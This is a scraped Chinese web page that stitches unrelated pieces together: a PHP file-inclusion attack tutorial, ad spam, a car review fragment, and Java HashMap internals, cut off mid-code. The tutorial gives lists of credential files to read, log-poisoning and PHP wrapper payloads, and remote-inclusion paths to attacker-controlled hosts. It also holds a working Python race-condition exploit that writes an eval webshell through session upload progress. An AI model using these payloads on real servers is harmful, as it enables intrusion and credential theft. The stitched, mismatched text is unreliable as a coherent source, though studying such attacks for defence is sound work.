文件包含

目錄

• 文件包含
  • 1. 概述
    • 1.1 常見的引發漏洞的函數：
    • 1.2 利用條件
    • 1.3 分類和利用思路
  • 2. 利用方法
    • 2.1 配合文件解析漏洞來包含
    • 2.2 讀取系統敏感文件（路徑遍歷）
    • 2.3 包含http日誌文件
    • 2.4 包含SSH日誌
    • 2.5 使用PHP偽協議
    • 2.6 配合phpinfo頁面包含臨時文件
    • 2.7 包含Session
    • 2.9 包含環境變量
  • 3. 繞過技巧
    • 3.1 限制路徑路徑
    • 3.2 限制後綴
    • 3.3 allow_url_include = off
    • 3.4 Base64 處理的session文件
    • 3.5 自己構造Session
    • 3.6 CVE-2018-14884

參考資料：
文件包含漏洞簡介
利用phpinfo條件競爭
PHP文件包含漏洞利用思路與Bypass總結手冊

1. 概述

什麼是文件包含：文件包含函數所加載的參數沒有經過過濾或者嚴格的定義，可以被用戶控制，包含其他文件或惡意代碼，導致信息泄露或代碼注入。

要求：包含的文件路徑攻擊者可控，被包含的文件web服務器可訪問。

1.1 常見的引發漏洞的函數：

1. include()執行到include時才包含文件，文件不存在時提出警告，但是繼續執行。
2. require()只要程序運行就會包含文件，文件不存在產生致命錯誤，並停止腳本。
3. include_once()和require_once()只執行一次，如果一個文件已經被包含，則這兩個函數不會再去包含（即使文件中間被修改過）。

當利用這四個函數來包含文件時，不管文件是什麼類型（圖片、txt等等），其中的文本內容都會直接作為php代碼進行解析。

1.2 利用條件

• 包含函數通過動態變量的方式引入需要包含的參數。

• PHP中只要文件內容符合PHP語法規範，不管是什麼後綴，都會被解析。

1.3 分類和利用思路

文件包含通常按照包含文件的位置分為兩類：本地文件包含（LFI）和遠程文件包含（RFI），顧名思義，本地文件包含就是指包含本地服務器上存儲的一些文件；遠程文件包含則是指被包含的文件不存儲在本地。

本地文件包含

1. 包含本地文件、執行代碼
2. 配合文件上傳，執行惡意腳本
3. 讀取本地文件
4. 通過包含日誌的方式GetShell
5. 通過包含/proc/self/envion文件GetShell
6. 通過偽協議執行惡意腳本
7. 通過phpinfo頁面包含臨時文件

遠程文件包含

1. 直接執行遠程腳本（在本地執行）

遠程文件包含需要在php.ini中進行配置，才可開啟：

allow_url_fopen = On：本選項激活了 URL 風格的 fopen 封裝協議，使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件，一些擴展庫例如 zlib 可能會註冊更多的封裝協議。（出於安全性考慮，此選項只能在 php.ini 中設置。）

allow_url_include = On：此選項允許將具有URL形式的fopen包裝器與以下功能一起使用：include，include_once，require，require_once。（該功能要求allow_url_fopen開啟）

2. 利用方法

2.1 配合文件解析漏洞來包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 讀取系統敏感文件（路徑遍歷）

include.php?file=../../../../../../../etc/passwd

Windows：

​ C:\boot.ini //查看系統版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置信息
​ C:\Windows\my.ini //Mysql配置信息

Linux：

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz

2.3 包含http日誌文件

通過包含日誌文件，來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

1. 通過讀取配置文件確定日誌文件地址

   默認地址通常為：/var/log/httpd/access_log或/var/log/apache2/access.log

2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>，之後去包含這個日誌文件即可。

3. 注意：日誌文件會記錄最為原始的URL請求，在瀏覽器地址欄中輸入的地址會被URL編碼，通過CURl或者Burp改包繞過編碼。

apache+Linux 日誌默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默認日誌文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通過包含環境變量/proc/slef/enversion來執行惡意腳本，修改HTTP請求的User-Agent報頭，但是沒復現成功

2.4 包含SSH日誌

和包含HTTP日誌類似，登錄用戶的用戶名會被記錄在日誌中，如果可以讀取到ssh日誌文件，則可以利用惡意用戶名注入php代碼。

SSH登錄日誌常見存儲位置：/var/log/auth.log或/var/log/secure

2.5 使用PHP偽協議

PHP內置了很多URL 風格的封裝協議，除了用於文件包含，還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流（I/O streams
zlib:// — 壓縮流
data:// — 數據（RFC 2397）
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 壓縮文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流

1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt，正反斜線都行（windows），對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext。

2. php://input訪問輸入輸出流：?page=php://input，在POST內容中輸入想要執行的腳本。

3. php://filter：是一種元封裝器， 設計用於數據流打開時的篩選過濾應用。

   全部可用過濾器列表：https://www.php.net/manual/zh/filters.php

   通常利用該偽協議來讀取php源碼，通過設定編碼方式（以base64編碼為例），可以防止讀取的內容被當做php代碼解析，利用方式（就是read寫不寫的區別）：

   index.php?file=php://filter/read=convert.base64-encode/resource=index.php
   index.php?file=php://filter/convert.base64-encode/resource=index.php
   

4. data://數據流封裝：?page=data://text/plain,腳本

1. zip://壓縮流：創建惡意代碼文件，添加到壓縮文件夾，上傳，無視後綴。通過?page=zip://絕對路徑%23文件名訪問，5.2.9之前是只能絕對路徑。

備註：

1. 文件需要絕對路徑才能訪問

2. 需要通過#（也就是URL中的%23）來指定代碼文件

3. compress.bzip2://和compress.zlib://壓縮流，與zip類似，但是支持相對路徑，無視後綴

   bzip和gzip是對單個文件進行壓縮（不要糾結要不要指定壓縮包內的文件）

   ?file=compress.bzip2://路徑
   ?file=compress.zlib://路徑
   

4. phar://支持zip、phar格式的壓縮（歸檔）文件，無視後綴（也就是說jpg後綴照樣給你解開來），?file=phar://壓縮包路徑/壓縮包內文件名，絕對路徑和相對路徑都行。

   利用方法：

   index.php?file=phar://test.zip/test.txt
   index.php?file=phar://test.xxx/test.txt
   

   製作phar文件（php5.3之後）：

   1. 設置php.ini中phar.readonly=off
   2. 製作生成腳本

   <?php 
   @unlink("phar.phar");
   $phar = new Phar("phar.phar");
   $phar->startBuffering();
   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
   $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
   $phar->stopBuffering(); //簽名自動計算
   ?>
   // 這個腳本需要使用php.exe 來生成
   

   1. 生成腳本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //這個腳本可以通過訪問來觸發，在本地生成一個test.123，但是不能生成後綴為phar的文件（其他的都行，甚至是php）
      

2.6 配合phpinfo頁面包含臨時文件

向phpinfo頁面上傳文件的時候，phpinfo會返回臨時文件的保存路徑

臨時文件存活時間很短，當連接結束后，臨時文件就會消失。條件競爭

只要發送足夠多的的數據，讓頁面還未反應過來的時候去包含文件，即可。

1. 發送包含了webshell的上傳數據包給phpinfo頁面，這個數據包的header、get等位置需要塞滿垃圾數據

2. 因為phpinfo頁面會將所有數據都打印出來，1中的垃圾數據會將整個phpinfo頁面撐得非常大

3. php默認的輸出緩衝區大小為4096，可以理解為php每次返回4096個字節給socket連接

4. 所以，我們直接操作原生socket，每次讀取4096個字節。只要讀取到的字符里包含臨時文件名，就立即發送第二個數據包

5. 此時，第一個數據包的socket連接實際上還沒結束，因為php還在繼續每次輸出4096個字節，所以臨時文件此時還沒有刪除

6. 利用這個時間差，第二個數據包，也就是文件包含漏洞的利用，即可成功包含臨時文件，最終getshell

   利用腳本exp

2.7 包含Session

1. PHP將用戶Session以文件的形式保存在主機中，通過php.ini文件中的session.save_path字段可以設置具體的存儲位置，通過phpinfo頁面也可以查詢到；文件命名格式為：sess_<PHPSESSID>，其中PHPSESSID為用戶cookie中PHPSESSID對應的值；Session文件一些可能的保存路徑：

   /var/lib/php/sess_PHPSESSID
   /var/lib/php/sessions/sess_PHPSESSID
   /tmp/sess_PHPSESSID
   /tmp/sessions/sess_PHPSESSID
   

2. Session文件內容有兩種記錄格式：php、php_serialize，通過修改php.ini文件中session.serialize_handler字段來進行設置。

   以php格式記錄時，文件內容中以|來進行分割：

   以php_serialize格式記錄時，將會話內容以序列化形式存儲：

3. 如果保存的session文件中字符串可控，那麼就可以構造惡意的字符串觸發文件包含。

   先構造一個含有惡意字符串的session文件：?user=test&cmd=<?php phpinfo();?>，之後包含這個會話的session文件。

2.9 包含環境變量

CGI****利用條件：1231、php以cgi方式運行，這樣environ才會保存UA頭。``2、environ文件存儲位置已知，且environ文件可讀。利用姿勢：proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼，則php代碼會被寫入到environ中。之後再包含它，即可。

3. 繞過技巧

3.1 限制路徑路徑

服務器限制了訪問文件的路徑，例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件，可以利用路徑穿越進行對抗。

../../../../../../../ect/passwd

對於輸入有過濾的情況，可以嘗試用URL編碼進行轉換，比如%2e%2e%2f，甚至是二次轉換。

3.2 限制後綴

對用戶輸入添加後綴，比如：自動添加.jgp後綴、或者期望用戶輸如一個父目錄，服務器自動拼接上子目錄和文件。

1. 如果是遠程文件包含的話可以利用URL的特性：?、#

   構造出類似於http://test.com/evil.php?/static/test.php和http://test.com/evil.php#/static/test.php的包含路徑，使得服務器預設的後綴變成URL的參數或者頁面錨點。

2. 利用壓縮協議：構建一個壓縮包歸檔文件，裡面包含上服務器加的後綴，這樣完整的路徑將指向壓縮包內文件。

   比如壓縮包中文件為test.zip->test->defautl->test.php ，構造url：include.php?file=phar://test.zip/test，服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

3. 利用超長字符串進行截斷，在php<5.2.8的版本可以設置一個超級長的路徑，超過的部分將被服務器丟棄。

   win最長為256字節、Linux為4096字節，構造include.php?file=./././././(n多個）././test.php

4. 利用00截斷：php<5.3.4時可用%00對字符串進行截斷，%00被是識別為字符串終止標記。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

1. 利用SMB（只對Win的web服務器有效）：構建SMB服務器后，構造URL：?include.php?file=\\172.16.97.128\test.php
2. 利用WebDAV：構造連接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 處理的session文件

為了保護用戶的信息或存儲更多格式的信息，很多時候都會對Session文件進行編碼，以Base64編碼為例，闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式；合理安排payload使其滿足解碼條件，只要不干擾php代碼運行就可以。

1. 根據上邊介紹的偽協議的用法，可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼，但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容，session開頭的user|s:24:字符串也被當做base64進行解碼，從而導致出現亂碼的情況，因此如果能忽略前面的字符，就可以完美解碼了。

2. 有利條件：PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容，直接忽略過去並拼接之後的內容。也就是說，Session文件中的:、|、{}、;、"這類字符對Base64解碼沒有影響。

3. Base64解碼過程簡單來說就是：將字符串按照每4個字符分為一組，解碼為二進制數據流再拼接到一起，因此要保證我們可以將payload正確解出，需要將編碼后的payload其實位置控制在4n+1的位置（第5、9、13…位）。（base64編碼后長度為原數據長度的4/3）

4. user:|s:24:"有效字符有7個，若要將payload置於第9位，則需要再增加一個字符，簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

5. serialize模式同理，session文件中a:1:{s:4:"user";s:24:"共11個干擾字符，因此同樣只需將payload產生的字符串長度增加到三位數即可。

3.5 自己構造Session

有的網站可能不提供用戶會話記錄，但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下：

• session.use_strict_mode = 0，允許用戶自定義Session_ID，也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
• session.upload_progress.enabled = on，PHP可以在每個文件上傳時監視上傳進度。
• session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"，當一個上傳在處理中，同時POST一個與INI中設置的session.upload_progress.name同名變量時，上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時，它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefix與 session.upload_progress.name連接在一起的值。

利用思路：

1. 上傳一個文件

2. 上傳時設置一個自定義PHPSESSIDcookie

3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段："PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

   這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

4. 但是php默認設置中會打開session.upload_progress.cleanup = on，也就是當文件上傳完成後會自動刪除session文件，使用條件競爭繞過，惡意代碼功能設置為生成一個shell.php。

利用exp：

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884會造成php7出現段錯誤，從而導致垃圾回收機制失效，POST的文件會保留在系統緩存目錄下而不會被清除。

影響版本：

PHP Group PHP 7.0.*，<7.0.27
PHP Group PHP 7.1.*，<7.1.13
PHP Group PHP 7.2.*，<7.2.1

windows 臨時文件：C:\windows\php<隨機字符>.tmp

linux臨時文件：/tmp/php<隨機字符>

1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

2. post惡意字符串

   import requests
   
   files = {
     'file': '<?php phpinfo();'
   }
   url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
   r = requests.post(url=url, files=files, allow_redirects=False)
   

3. 在臨時文件中可以看到惡意代碼成功寫入

4. 至於包含嘛，爆破或者其他手段探測這個臨時文件吧。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

而這次加入1。5T發動機，就讓CR-V在現今的緊湊型SUV中立於不敗地位，燃油經濟性以及動力都可以達到一個相當優秀的地步，外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V，以及奇駿在空間上的優點，CR-V要想突破這番困局還是需要視乎具體售價以及具體價格，若是能維持現今2。

編者總結：

毫無疑問，2.0L發動機被取代是毫無疑問的，畢竟現今服役的2.0L發動機有着不短的“年頭”。而這次加入1.5T發動機，就讓CR-V在現今的緊湊型SUV中立於不敗地位，燃油經濟性以及動力都可以達到一個相當優秀的地步，外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V，以及奇駿在空間上的優點，CR-V要想突破這番困局還是需要視乎具體售價以及具體價格，若是能維持現今2.0L的價格，相信能給對手造成不少的衝擊。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

如何計算，一對key/value應該放在哪個哈希桶

大家都知道，hashmap底層是數組+鏈表（不討論紅黑樹的情況），其中，這個數組，我們一般叫做哈希桶，大家如果去看jdk的源碼，會發現裏面有一些變量，叫做bin，這個bin，就是桶的意思，結合語境，就是哈希桶。

這裏舉個例子，假設一個hashmap的數組長度為4（0000 0100），那麼該hashmap就有4個哈希桶，分別為bucket[0]、bucket[1]、bucket[2]、bucket[3]。

現在有兩個node，hashcode分別是1（0000 0001），5（0000 0101）. 我們當然知道，這兩個node，都應該放入第一個桶，畢竟1 mod 4，5 mod 4的結果，都是1。

但是，在代碼里，可不是用取模的方法來計算的，而是使用下面的方式：

int entryNodeIndex = (tableLength - 1) & hash;

應該說，在tableLength的值，為2的n次冪的時候，兩者是等價的，但是因為位運算的效率更高，因此，代碼一般都使用位運算，替代取模運算。

下面我們看看具體怎麼計算：

此處，tableLength即為哈希表的長度，此處為4. 4 – 1為3，3的二進製表示為：

0000 0011

那麼，和我們的1（0000 0001）相與：

0000 0001 -------- 1
0000 0011 -------- 3（tableLength - 1）
    相與（同為1，則為1；否則為0）
0000 0001 -------- 1     

結果為1，所以，應該放在第1個哈希桶，即數組下標為1的node。

接下來，看看5這個hashcode的節點要放在什麼位置，是怎麼計算：

0000 0101 -------- 5
0000 0011 -------- 3（tableLength - 1）
    相與（同為1，則為1；否則為0）后結果：
0000 0001 -------- 1     

擴容時，是怎麼對一個hash桶進行transfer的

此處，具體的整個transfer的細節，我們本講不會涉及太多，不過，大體的邏輯，我們可以來想一想。

以前面為例，哈希表一共4個桶，其中bucket[1]裏面，存放了兩個元素，假設是a、b，其hashcode分別是1，5.

現在，假設我們要擴容，一般來說，擴容的時候，都是新建一個bucket數組，其容量為舊錶的一倍，這裏舊錶為4，那新表就是8.

那，新表建立起來了，舊錶里的元素，就得搬到新表裡面去，等所有元素都搬到新表了，就會把新表和舊錶的指針交換。如下：

java.util.concurrent.ConcurrentHashMap#transfer

    private transient volatile Node<K,V>[] nextTable;

	transient volatile Node<K,V>[] table;

if (finishing) {
    // 1
    nextTable = null;
    // 2
    table = nextTab;
    // 3
    sizeCtl = (tabLength << 1) - (tabLength >>> 1);
    return;
}

• 1處，將field：nextTable（也就是新表）設為null，擴容完了，這個field就會設為null

• 2處，將局部變量nextTab，賦值給table，這個局部變量nextTab里，就是當前已經擴容完畢的新表

• 3處，修改表的sizeCtl為：假設此處tabLength為4，tabLength << 1 左移1位，就是8；tabLength >>> 1，右移一位，就是2，。8 – 2 = 6，正好就等於 8（新表容量） * 0.75。

  所以，這裏的sizeCtl就是，新表容量 * 負載因子，超過這個容量，基本就會觸發擴容。

ok，接着說，我們要怎麼從舊錶往新表搬呢？ 那以前面的bucket[1]舉例，遍歷這個鏈表，計算各個node，應該放到新表的什麼位置，不就完了嗎？是的，理論上這麼寫就完事了。

但是，我們會怎麼寫呢？

用hashcode對新bucket數組的長度取余嗎？

jdk對效率的追求那麼高，肯定不會這麼寫的，我們看看，它怎麼寫的：

java.util.concurrent.ConcurrentHashMap#transfer

// 1
for (Node<K,V> p = entryNode; p != null; p = p.next) {
    // 2
    int ph = p.hash;
    K pk = p.key;
    V pv = p.val;
    
	// 3
    if ((ph & tabLength) == 0){
        lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
    }
    else{
        highEntryNode = new Node<K,V>(ph, pk, pv, highEntryNode);
    }
}

• 1處，即遍歷舊的哈希表的某個哈希桶，假設就是遍歷前面的bucket[1]，裏面有a/b兩個元素，hashcode分別為1，5那個。

• 2處，獲取該節點的hashcode，此處分別為1，5

• 3處，如果hashcode 和 舊錶長度相與，結果為0，則，將該節點使用頭插法，插入新表的低位；如果結果不為0，則放入高位。

  ok，什麼是高位，什麼是低位。擴容后，新的bucket數組，長度為8，那麼，前面bucket[1]中的兩個元素，將分別放入bucket[1]和bucket[5].

  ok，這裏的bucket[1]就是低位，bucket[5]為高位。

首先，大家要知道，hashmap中，容量總是2的n次方，請牢牢記住這句話。

為什麼要這麼做？你想想，這樣是不是擴容很方便？

以前，hashcode 為1，5的，都在bucket[1]；而現在，擴容為8后，hashcode為1的，還是在newbucket[1]，hashcode為5的，則在newbucket[5]；這樣的話，是不是有一半的元素，根本不用動？

這就是我覺得的，最大的好處；另外呢，運算也比較方便，都可以使用位運算代替，效率更高。

好的，那我們現在問題來了，下面這句的原理是什麼？

    if ((ph & tabLength) == 0){
        lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
    } else{
        highEntryNode = new Node<K,V>(ph, pk, pv, highEntryNode);
    }

為啥，hashcode & 舊哈希表的容量， 結果為0的，擴容后，就會在低位，也就是維持位置不變呢？而結果不為0的，擴容后，位置在高位呢？

背後的位運算原理（大白話）

代碼里用的如下判斷，滿足這個條件，去低位；否則，去高位。

 if ((ph & tabLength) == 0)

還是用前面的例子，假設當前元素為a，hashcode為1，和哈希桶大小4，去進行與運算。

0000 0001  ---- 1
0000 0100  ---- 舊哈希表容量4
&運算（同為1則為1，否則為0）
結果：
0000 0000  ---- 結果為0    

ok，這裏算出來，結果為0；什麼情況下，結果會為0呢？

那我們現在開始倒推，什麼樣的數，和 0000 0100 相與，結果會為0？

???? ????  ---- 
0000 0100  ---- 舊哈希表容量
&運算（同為1則為1，否則為0）
結果：
0000 0000  ---- 結果為0    

因為與運算的規則是，同為1，則為1；否則都為0。那麼，我們這個例子里，舊哈希表容量為 0000 0100，假設表示為2的n次方，此處n為2，我們僅有第三位（第n+1）為1，那如果對方這一位為0，那結果中的這一位，就會為0，那麼，整個數，就為0.

所以，我們的結論是：假設哈希表容量，為2的n次方，表示為二進制后，第n+1位為1；那麼，只要我們節點的hashcode，在第n+1位上為0，則最終結果是0.

反之，如果我們節點的hashcode，在第n+1位為1，則最終結果不會是0.

比如，hashcode為5的時候，會是什麼樣子？

0000 0101  ---- 5
0000 0100  ---- 舊哈希表容量
&運算（同為1則為1，否則為0）
結果：
0000 0100  ---- 結果為4    

此時，5這個hashcode，在第n+1位上為1，所以結果不為0。

至此，我們離答案好像還很遠。ok，不慌，繼續。

假設現在擴容了，新bucket數組，長度為8.

a元素，hashcode依然是1，a元素應該放到新bucket數組的哪個bucket里呢？

我們用前面說的這個算法來計算：

int entryNodeIndex = (tableLength - 1) & hash;

0000 0001  ---- 1
0000 0111  ---- 8 - 1 = 7
&運算（同為1則為1，否則為0）
結果：
0000 0001  ---- 結果為1

結果沒錯，確實應該放到新bucket[1]，但怎麼推論出來呢？

    // 1
	if ((ph & tabLength) == 0){
        // 2
        lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
    }

也就是說，假設一個數，滿足1處的條件：(ph & tabLength) == 0，那怎麼推論出2呢，即應該在低位呢？

ok，條件1，前面分析了，可以得出：

這個數，第n+1位為0.

接下來，看看數組長度 – 1這個數。

好了，兩個數都有了，

???????0???????   -- 1 節點的hashcode，第n + 1位為0
000000010000000   -- 2 老數組    
000000100000000   -- 3 新數組的長度，等於老數組長度 * 2
000000011111111   -- 4 新數組的長度 - 1
    
    運算：1和4相與
    

大家注意看紅字部分，還有框出來的那一列，這一列為0，導致，最終結果，肯定是比2那一行的数字小，2這行，不就是老數組的長度嗎，那你比老數組小；你比這一行小，在新數組裡，就只能在低位了。

反之，如果節點的hashcode，這一位為1，那麼，最終結果，至少是大於等於2這一行的数字，所以，會放在高位。

參考資料

https://www.jianshu.com/p/2829fe36a8dd

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※回頭車貨運收費標準

1.1 背景知識

1.1.1 紅黑樹

　　二叉查找樹可能因為多次插入新節點導致失去平衡，使得查找效率低，查找的複雜度甚至可能會出現線性的，為了解決因為新節點的插入而導致查找樹不平衡，此時就出現了紅黑樹。

紅黑樹它一種特殊的二叉查找樹。紅黑樹的每個節點上都有存儲位表示節點的顏色，可以是紅(Red)或黑(Black)。它具有以下特點：

（1）每個節點或者是黑色，或者是紅色。

（2）根節點是黑色。

（3）每個恭弘=叶 恭弘子節點(恭弘=叶 恭弘子節點，是指為空(NIL或NULL)的恭弘=叶 恭弘子節點)是黑色。

（4）如果一個節點是紅色的，則它的子節點一定是黑色（即從根節點到恭弘=叶 恭弘子節點的路徑上不能有兩個重複的紅色節點）。

（5）從一個節點到其上每一個恭弘=叶 恭弘節點的所有路徑都具有相同的黑色節點個數。

紅黑樹的基本操作–添加

① 將紅黑樹當作一顆二叉查找樹，將節點插入。

② 將插入的節點着色為”紅色”。（因為條件5，從一個節點到其中每一個節點的的所有路徑都具有相同的黑色節點）。

③通過一系列的旋轉（左旋或右旋操作）或着色等操作，使之重新成為一顆紅黑樹。

1.2 源碼

　　在java 1.7之前是用數組和鏈表一起組合構成HashMap，在java1.8之後就使用當鏈表長度超過8之後，就會將鏈錶轉化為紅黑樹，縮小查找的時間（紅黑樹維護也會花費大量時間，包含左旋、右旋和變色過程）。

1.2.1 HashMap的初始化

hashmap構造函數會初始化三個值：

• 初始容量initialCapacity：默認值是16，當儲存的數據越來越多的時候，就必須進行擴容操作。
• 閾值threshold：hashmap的數組結構中所能存放的最大數量，超過該數量，則會對數組進行擴容。閾值的計算方式為：容量（initialCapacity）*負載因子（loadFactor）。
• 負載因子loadFactor：當負載因子很大時，閾值會很大，table數組擴容的可能性比較小，會使得一個數組中的鏈表（紅黑樹）存放過多的數據，雖然節省了一定的空間，但會導致查詢時間很長。相反負載因子很小時，擴容的可能性會很高，使得數組中的數據變得相對少，查詢時間會縮短，但會花費較長的時間。

　　在初始化一個hashmap對象的時候，指定鍵值對的同時，也可以指定初始map的容量大小，假設此處我們指定大小為11，則會在構造函數中調用tableSizeFor將容量改為2的n冪次，即比當前容量大，而且必須是2的指數次冪的最小數，就會變成16。這是因為2的指數次冪便於計算進行位運算操作，提升運行效率問題（位運算>加法>乘法>除法>取模）。

　　hashmap的的默認值是16，負載因子默認是0.75，代碼如下：

//HashMap<String,String> hashMap = new HashMap<String, String>(11);

/**
 * Returns a power of two size for the given target capacity.
 **/
static final int tableSizeFor(int cap) {
    int n = cap - 1;   //10 防止在cap已經是2的n次冪的情況下
    // >>> 表示不關心符號位，對數據的二進制形式進行右移  |表示或運算
    n |= n >>> 1;	  //15
    n |= n >>> 2;     //15
    n |= n >>> 4;     //15
    n |= n >>> 8;     //15
    n |= n >>> 16;    //15
    return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; //16
}

1.2.2 HashMap的put操作

　　 這裏可以介紹一下&位運算，當我們將一對KV存儲到hashmap當中時，會通過(n – 1) & hash運算來定位將要插入的鍵值對放入到哈希表的某個桶中。其中n表示哈希表的長度，通常n為2的倍數，通過n-1即可n所表示的二進制數，除最高位外，全部轉化為1，藉助與運算即可快速完成取模操作。

 //hashMap.put("2020", "good luck");

 /**
  * Implements Map.put and related methods.
  *
  * @param hash hash for key
  * @param key the key
  * @param value the value to put
  * @param onlyIfAbsent if true, don't change existing value
  * @param evict if false, the table is in creation mode.
  * @return previous value, or null if none
  */
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
               boolean evict) {
    Node<K,V>[] tab; Node<K,V> p; int n, i;
    //如果hashtable沒有初始化，則初始化該table數組
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length; 
    //通過位運算找到數組中的下標位置，如果數組中對應下標為空，則可以直接存放下去
    if ((p = tab[i = (n - 1) & hash]) == null)
        tab[i] = newNode(hash, key, value, null);
    else {
        //數組元素對應的位置已經有元素，產生碰撞
        Node<K,V> e; K k;
        //如果插入的元素key是已經存在的，則將新的value替換掉原來的舊值
        if (p.hash == hash &&
            ((k = p.key) == key || (key != null && key.equals(k))))
            e = p;
        //如果此時table數組對應的位置是紅黑樹結構，則將該節點插入紅黑樹中
        else if (p instanceof TreeNode)
            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
        else {
            //如果此時table數組對應的位置是鏈表結構
            for (int binCount = 0; ; ++binCount) {
				//遍歷到數組尾端，沒有與插入鍵值對相同的key，則將新的鍵值對插入鏈表尾部
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    //鏈表過長，將鏈錶轉化為紅黑樹
                    if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                        treeifyBin(tab, hash);
                    break;
                }
                //發現鏈表中的某個節點有與插入鍵值對相同的key，則跳出循環，在循環外部重新賦值
                if (e.hash == hash &&
